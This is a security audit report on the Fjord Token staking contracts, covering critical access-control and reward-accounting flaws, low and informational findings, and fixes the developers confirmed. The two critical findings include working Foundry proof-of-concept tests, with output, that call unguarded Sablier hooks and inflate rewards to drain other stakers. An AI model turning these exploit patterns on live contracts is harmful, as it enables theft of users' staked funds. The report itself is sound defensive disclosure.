Fjord Token Staking Audit Report

Prepared by Cyfrin

Version 2.0

Lead Auditors

Hans

July 18, 2024

Contents

1 About Cyfrin **2**

2 Disclaimer **2**

3 Risk Classification **2**

4 Protocol Summary **2**
4.1 Architecture . . . 2
4.1.1 Actors . . . 2
4.1.2 Staking . . . 3
4.1.3 Unstaking . . . 3
4.1.4 Rewards Accounting . . . 3
4.1.5 Rewards Claiming . . . 3

5 Audit Scope **3**

6 Executive Summary **3**

7 Findings **5**
7.1 Critical Risk . . . 5
7.1.1 Caller must be verified to be the Sablier for the hook functions . . . 5
7.1.2 Tokens withdrawn from the stream are handled as a reward and break the protocol accounting 6
7.2 Low Risk . . . 9
7.2.1 Centralization risk for trusted owners . . . 9
7.2.2 Missing checks for address(0) when assigning values to address state variables . . . 9
7.3 Informational . . . 10
7.3.1 Using terminology inconsistent to Sablier . . . 10
7.3.2 Wrong/misleading comments . . . 10
7.3.3 Use the named constant instead of raw values . . . 10
7.3.4 Misleading error names . . . 10

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

Fjord Token, with a max supply of 100,000,000, operates on mainnet, offering staking options with vested earnings and penalties, alongside a dynamic revenue aggregation system. Its staking interface allows users to effortlessly manage staked tokens, claim rewards, and stay updated on FJORD token metrics and performance indicators.

4.1 Architecture

- Fjord token is a standard ERC20 token with a max supply of 100M.
- FjordStaking allows FJO holders and the FJO Sablier stream owners (recipients) to stake their tokens and NFT position for additional rewards in FJO.
- Reward accounting is processed in epochs, where 1 epoch is a week.

4.1.1 Actors

Protocol Admin

- Sets the reward admin.
- Add and remove the authorized users who can stake cancelable streams.

Reward Admin

- Can add rewards by sending FJO tokens to the staking contract

User

- FJO holder can stake FJO and claim rewards according to the locking mechanism
- Non-cancelable Sablier stream owner can stake their position NFT. This allows users to participate in the staking earlier without waiting until the stream is completed.

- Authorized cancelable Sablier stream owner can stake their position NFT.

Sablier Lockup Instance

- Calls the hook functions defined in the staking contract on the user's interaction with the Sablier

4.1.2 Staking

- FJO holders can call the function `stake(uint256 _amount)` and FJO tokens are transferred to the staking contract.
- Sablier FJO stream owners (recipients of the streams) can call the function `stakeVested(uint256 _streamID)` and stake their position. The Sablier position NFT is transferred into the staking contract. Note that the staking contract becomes the new owner of the stream but can not call withdraw proactively unless the stream sender calls `withdraw()` function on Sablier.

4.1.3 Unstaking

- FJO Stakers can call the function `unstake(uint16 _epoch, uint256 _amount)` and locked FJO tokens are transferred back to user.
- Sablier FJO stream NFT stakers can call the function `unstakeVested(uint256 _streamID)` and unstake their position. The Sablier position NFT is transferred back to the original stream owner.

4.1.4 Rewards Accounting

Staked tokens are locked for 6 epochs and can be unstaked after that, but they will continue to accrue rewards.

- All user interaction functions are wrapped with modifiers `checkEpochRollover` and `redeemPendingRewards`.
- `checkEpochRollover` updates the `currentEpoch` and update the `rewardPerToken` according to the pending rewards.
- `redeemPendingRewards` updates the user's `unclaimedRewards` based on their `totalStaked` and unredeemed deposit stake amount.

4.1.5 Rewards Claiming

Stakers can call the function `claimReward(bool _isClaimEarly)` to initiate the claiming process. Early claims halves the resulting reward amount while normal claims can be completed by calling `completeClaimRequest()` after `claimCycle` epochs.

5 Audit Scope

The scope includes contracts `FjordStaking.sol` and `FjordToken.sol`.

6 Executive Summary

Over the course of 6 days, the Cyfrin team conducted an audit on the Fjord Token Staking smart contracts provided by FJORD. In this period, a total of 8 issues were found.

Summary of the audit findings and any additional executive comments.

Summary

Project Name	Fjord Token Staking
Repository	fjord-token
Commit	77194b0a6b0d...
Audit Timeline	June 4st - June 11th
Methods	Manual Review

Issues Found

Critical Risk	2
High Risk	0
Medium Risk	0
Low Risk	2
Informational	4
Gas Optimizations	0
Total Issues	8

Summary of Findings

[C-1] Caller must be verified to be the Sablier for the hook functions	Resolved
[C-2] Tokens withdrawn from the stream are handled as a reward and break the protocol accounting	Resolved
[L-1] Centralization risk for trusted owners	Acknowledged
[L-2] Missing checks for address(0) when assigning values to address state variables	Resolved
[I-1] Using terminology inconsistent to Sablier	Resolved
[I-2] Wrong/misleading comments	Resolved
[I-3] Use the named constant instead of raw values	Resolved
[I-4] Misleading error names	Resolved

7 Findings

7.1 Critical Risk

7.1.1 Caller must be verified to be the Sablier for the hook functions

Description: FjordStaking contract allows not only the FJO holders but also the FJO Sablier stream owners to stake their position. While this is beneficial for the stream owners, it brings an additional security risk surface.

In the current implementation, we found that the Sablier hook functions (`onStreamWithdrawn`, `onStreamCanceled`) are accessible by anyone. These hook functions are supposed to be called ONLY by the Sablier contract.

This can be utilized by attackers in many ways. For example, `onStreamCanceled` can be called arbitrarily to force a user to unstake opposed to their wills. Also, an attacker can call `onStreamWithdrawn` by himself to get the stream NFT back and maintain the stake position. (see the PoC) This breaks the protocol accounting severly and the attacker can steal other user's staked tokens in the form of "reward".

Impact: Anyone can force stream owners to unstake and malicious stream owners can steal other user's staked tokens in the form of "reward".

Proof Of Concept: The PoC contract was written in Foundry.

```
contract AuditPoC is FjordStakingBase {
    function printSystemStatus() public {
        console2.log("---- Current Epoch: %d ----", fjordStaking.currentEpoch());
        console2.log("FJO Balance: %d", token.balanceOf(address(fjordStaking)));
        console2.log("totalStaked: %d totalVestedStaked: %d", fjordStaking.totalStaked(),
        ↪  fjordStaking.totalVestedStaked());
        console2.log("newStaked: %d newVestedStaked: %d", fjordStaking.newStaked(),
        ↪  fjordStaking.newVestedStaked());
        console2.log("totalRewards: %d lastEpochRewarded: %d", fjordStaking.totalRewards(),
        ↪  fjordStaking.lastEpochRewarded());
    }

    function printUserData(address user) public {
        (
            uint256 totalStaked,
            uint256 unclaimedRewards,
            uint16 unredeemedEpoch,
            uint16 lastClaimedEpoch
        ) = fjordStaking.userData(user);
        console2.log("---- User data at Epoch %d ----", fjordStaking.currentEpoch());
        console2.log("Total Staked: %d UnclaimedRewards: %d", totalStaked, unclaimedRewards);
        console2.log("Unredeemed Epoch: %d LastClaimedEpoch: %d", unredeemedEpoch, lastClaimedEpoch);
    }

    function test_no_access_control_hook() public {
        uint streamAmount = 10 ether;

        // bob creates a stream to alice and alice stakes
        uint streamID = createStreamAndStake(bob, false);

        address streamOwner = fjordStaking.getStreamOwner(streamID);
        assertEq(streamOwner, alice);
        address nftOwner = SABLIER.ownerOf(streamID);
        assertEq(nftOwner, address(fjordStaking)); // at this point sablier NFT is pulled and stored at
        ↪  fjordStaking

        printSystemStatus();
        printUserData(alice);

        NFTData memory nftData = fjordStaking.getStreamData(alice, streamID);
```

```
        assertEq(nftData.epoch, 1);
        assertEq(nftData.amount, 10 ether);

        // reward is added and epoch is rolled over
        _addRewardAndEpochRollover(1 ether, 1);

        // alice calls onStreamWithdrawn. this should fail because the hook must be accessible only by
        ↪  SABLIER
        vm.startPrank(alice);
        fjordStaking.onStreamWithdrawn(streamID, address(0x0), address(0x0), uint128(nftData.amount));
        vm.stopPrank();

        nftOwner = SABLIER.ownerOf(streamID);
        assertEq(nftOwner, alice); // at this point sablier NFT is sent to alice and he receives the
        ↪  FJO stream

        printSystemStatus();
        printUserData(alice);// alice user data shows as if he still has 10 ether staked
    }
}
```

The output is as below.

```
[PASS] test_no_access_control_hook() (gas: 762465)
Logs:
  ---- Current Epoch: 1 ----
  FJO Balance: 0
  totalStaked: 0 totalVestedStaked: 0
  newStaked: 10000000000000000000 newVestedStaked: 10000000000000000000
  totalRewards: 0 lastEpochRewarded: 0
  ---- User data at Epoch 1 ----
  Total Staked: 0 UnclaimedRewards: 0
  Unredeemed Epoch: 1 LastClaimedEpoch: 0
  ---- Current Epoch: 2 ----
  FJO Balance: 1000000000000000000
  totalStaked: 10000000000000000000 totalVestedStaked: 0
  newStaked: 0 newVestedStaked: 0
  totalRewards: 0 lastEpochRewarded: 1
  ---- User data at Epoch 2 ----
  Total Staked: 10000000000000000000 UnclaimedRewards: 0
  Unredeemed Epoch: 0 LastClaimedEpoch: 1
```

At the end of the PoC, the attacker got back the Sablier NFT (means they receive the FJO token stream) and also maintained the staked position.

Recommended Mitigation: Add an access control to all Sablier hook functions so that only the Sablier contract can call the hook functions. Refer to the Sablier Guide.

FJORD: Fixed in commit 777919.

Cyfrin: Verified.

7.1.2 Tokens withdrawn from the stream are handled as a reward and break the protocol accounting

Description: FjordStaking contract allows Sablier stream owners (recipients) to stake the active stream. On staking, the stream NFT (Sablier NFT) is transferred to the staking contract.

On the other hand, Sablier streams allow the stream sender or receiver to initiate withdrawal of the streamed tokens. (ref) At the end of withdrawal, Sablier checks if the recipient is a contract and calls the `onStreamWithdrawn` hook. Note that the hook function is called AFTER sending the tokens.

`FjordStaking` contract implemented the `onStreamWithdrawn` hook function as below.

```
FjordStaking.sol
734: function onStreamWithdrawn(uint256 streamId, address caller, address, /*to*/ uint128 amount)
735:         external
736:         override
737:         checkEpochRollover
```

The modifier `checkEpochRollover()` checks the current epoch and handles any surplus FJO tokens as a reward. The problem is when Sablier calls this hook function, the tokens were sent to this contract and that is not reward but should be handled as the principal staked amount for the original stream owner. This leads to a wrong increase in the `totalRewards` and it can be abused by an attacker to steal other stakers staked amount in the form of "claiming reward".

Impact: Attackers can manipulate the `totalRewards` and steal other user's staked tokens in the form of "rewards".

Proof Of Concept: The test contract was written in Foundry.

```
contract AuditPoC is FjordStakingBase {
    function printSystemStatus() public {
        console2.log("---- Current Epoch: %d ----", fjordStaking.currentEpoch());
        console2.log("FJO Balance: %d", token.balanceOf(address(fjordStaking)));
        console2.log("totalStaked: %d totalVestedStaked: %d", fjordStaking.totalStaked(),
        ↪  fjordStaking.totalVestedStaked());
        console2.log("newStaked: %d newVestedStaked: %d", fjordStaking.newStaked(),
        ↪  fjordStaking.newVestedStaked());
        console2.log("totalRewards: %d lastEpochRewarded: %d", fjordStaking.totalRewards(),
        ↪  fjordStaking.lastEpochRewarded());
    }

    function printUserData(address user) public {
        (
            uint256 totalStaked,
            uint256 unclaimedRewards,
            uint16 unredeemedEpoch,
            uint16 lastClaimedEpoch
        ) = fjordStaking.userData(user);
        console2.log("---- User data at Epoch %d ----", fjordStaking.currentEpoch());
        console2.log("Total Staked: %d UnclaimedRewards: %d", totalStaked, unclaimedRewards);
        console2.log("Unredeemed Epoch: %d LastClaimedEpoch: %d", unredeemedEpoch, lastClaimedEpoch);
    }

    function test_total_rewards_wrong_on_stream_withdraw() public {
        uint streamAmount = 10 ether;

        printSystemStatus();
        printUserData(alice);

        // bob creates a stream to alice and alice stakes
        uint streamID = createStreamAndStake(bob, false);

        // reward is added and epoch is rolled over
        _addRewardAndEpochRollover(1 ether, 1);

        printSystemStatus();
        printUserData(alice);

        vm.warp(vm.getBlockTimestamp() + fjordStaking.epochDuration());

        // bob calls withdraw on SABLIER to finish the stream early
```

```
        // stream sender can call withdraw to finish the stream early as long as they specify the
        ↪  recipient (fjordStaking) as `to`
        vm.startPrank(bob);
        uint withdrawableAmount = SABLIER.withdrawableAmountOf(streamID);
        console2.log("Withdrawable amount: %d", withdrawableAmount);

        SABLIER.withdrawMax(streamID, address(fjordStaking));
        vm.stopPrank();

        printSystemStatus(); // the total rewards is wrong because the only reward added to the
        ↪  contract is 1 ether
        printUserData(alice);// alice user data shows as if he still has 10 ether staked
    }
}
```

The test output is as below.

```
[PASS] test_total_rewards_wrong_on_stream_withdraw() (gas: 842468)
Logs:
  ---- Current Epoch: 1 ----
  FJO Balance: 0
  totalStaked: 0 totalVestedStaked: 0
  newStaked: 0 newVestedStaked: 0
  totalRewards: 0 lastEpochRewarded: 0
  ---- User data at Epoch 1 ----
  Total Staked: 0 UnclaimedRewards: 0
  Unredeemed Epoch: 0 LastClaimedEpoch: 0
  ---- Current Epoch: 2 ----
  FJO Balance: 1000000000000000000
  totalStaked: 10000000000000000000 totalVestedStaked: 10000000000000000000
  newStaked: 0 newVestedStaked: 0
  totalRewards: 0 lastEpochRewarded: 1
  ---- User data at Epoch 2 ----
  Total Staked: 0 UnclaimedRewards: 0
  Unredeemed Epoch: 1 LastClaimedEpoch: 0
  Withdrawable amount: 1000000000000000000
  ---- Current Epoch: 3 ----
  FJO Balance: 11000000000000000000
  totalStaked: 10000000000000000000 totalVestedStaked: 0
  newStaked: 0 newVestedStaked: 0
  totalRewards: 11000000000000000000 lastEpochRewarded: 2
  ---- User data at Epoch 3 ----
  Total Staked: 10000000000000000000 UnclaimedRewards: 11000000000000000000
  Unredeemed Epoch: 0 LastClaimedEpoch: 2
```

We can see that the `totalRewards` is manipulatd to be 11 ether while there was only 1 ether of rewards added.

Recommended Mitigation: Remove the modifier and handles the epoch rollover and redemption at the end of `onStreamWithdrawn`.

FJORD: Fixed in commit 777919.

Cyfrin: The Fjord team decided to remove the `onStreamWithdrawn` implementation. Fix verified.

7.2 Low Risk

7.2.1 Centralization risk for trusted owners

Description: FjordStaking contract allows staking Sablier streams. But for cancellable streams it only allows `authorized` actors to stake. The reason is cancelable stream owners can cancel the stream and unstake before the lock period. Through the communication with the team, it is understood that the protocol team will be the only authorized ones who can stake the cancelable streams. While we understand that this kind of design could be necessary for the protocol's tokenomics, this means the `authorized` actors can unstake earlier and get benefits.

Impact: The authorized actors can get benefits that are unfair for normal users. We evaluate the impact to be LOW though because the actual loss still resides in the "distributed rewards", not affecting the principal staked amounts.

Recommended Mitigation: Consider removing the "authorized" actors.

FJORD: We have changed to accept only streams that have a specified sender address. This is mainly done because we only have a use case to support vested tokens distributed by us and not any arbitrary vesting stream that someone can create on FJO tokens. The sender will be our multisig wallet and will make sure that cancel and withdraw are not called on these streams.

Cyfrin: Acknowledged.

7.2.2 Missing checks for address(0) when assigning values to address state variables

Description: Check for address(0) when assigning values to address state variables.

```
FjordStaking.sol
258: rewardAdmin = _rewardAdmin;
...
301: rewardAdmin = _rewardAdmin;
```

FJORD: Fixed in commit 777919.

Cyfrin: Verified.

7.3 Informational

7.3.1 Using terminology inconsistent to Sablier

Description: Sablier uses a term "warm" to denote the pending / streaming streams. (doc) But the current FjordStaking contract uses a term "Hot" that is inconsistent to Sablier.

```
error NotAHotStream();//@audit-issue INFO NotAWarmStream - use consistent terminology to Sablier
```

FJORD: Fixed in commit 777919.

Cyfrin: Verified.

7.3.2 Wrong/misleading comments

Description: Some comments are wrong or misleading.

```
FjordStaking.sol
181:     /// @notice StreamIDs of the vested FJO owner, streamID => user //@audit-issue should be
↪  "Owners of the staked streams"
182:     mapping(uint256 streamID => address user) private _streamIDOwners;
183:
184:     /// @notice StreamIDs of the vested FJO staked, user => streamID => //@audit-issue wrong
↪  comment
185:     mapping(address user => UserData) public userData;
```

FJORD: Fixed in commit 777919.

Cyfrin: Verified.

7.3.3 Use the named constant instead of raw values

Description: There are instances that use a raw value while a named constant state exists.

```
FjordStaking.sol
411:         if (currentEpoch != _epoch) {
412:             // _epoch less than current epoch then user can unstake after at complete 6 epoch
413:             if (currentEpoch - _epoch <= 6) revert UnstakeEarly(); //@audit-issue Use the constant
↪  lockCycle
414:         }
```

```
FjordStaking.sol
458:         // _epoch is same as current epoch then user can unstake immediately
459:         if (currentEpoch != data.epoch) {
460:             // _epoch less than current epoch then user can unstake after at complete 6 epoch
461:             if (currentEpoch - data.epoch <= 6) revert UnstakeEarly(); //@audit-issue Use the
↪  constant lockCycle
462:         }
```

FJORD: Fixed in commit 775e31

Cyfrin: Verified.

7.3.4 Misleading error names

Description: In the function `claimReward()`, the same error `ClaimTooEarly()` is used for two different cases.

```
File: f:\hans\cyfrin\private audits\2024-06
↪  fjord-foundry\audit-2024-06-fjord-foundry-origin\src\FjordStaking.sol
568:         // do not allow to claimReward while user have pending claimReceipt
569:         // or user have claimed from the last epoch
570:         if (
571:             claimReceipts[msg.sender].requestEpoch > 0
572:                 || claimReceipts[msg.sender].requestEpoch >= currentEpoch - 1
573:         ) revert ClaimTooEarly();//@audit-issue The first case is not about early claim, it's
↪  about duplicate claim receipt
```

FJORD: Fixed in commit 777919.

Cyfrin: Verified.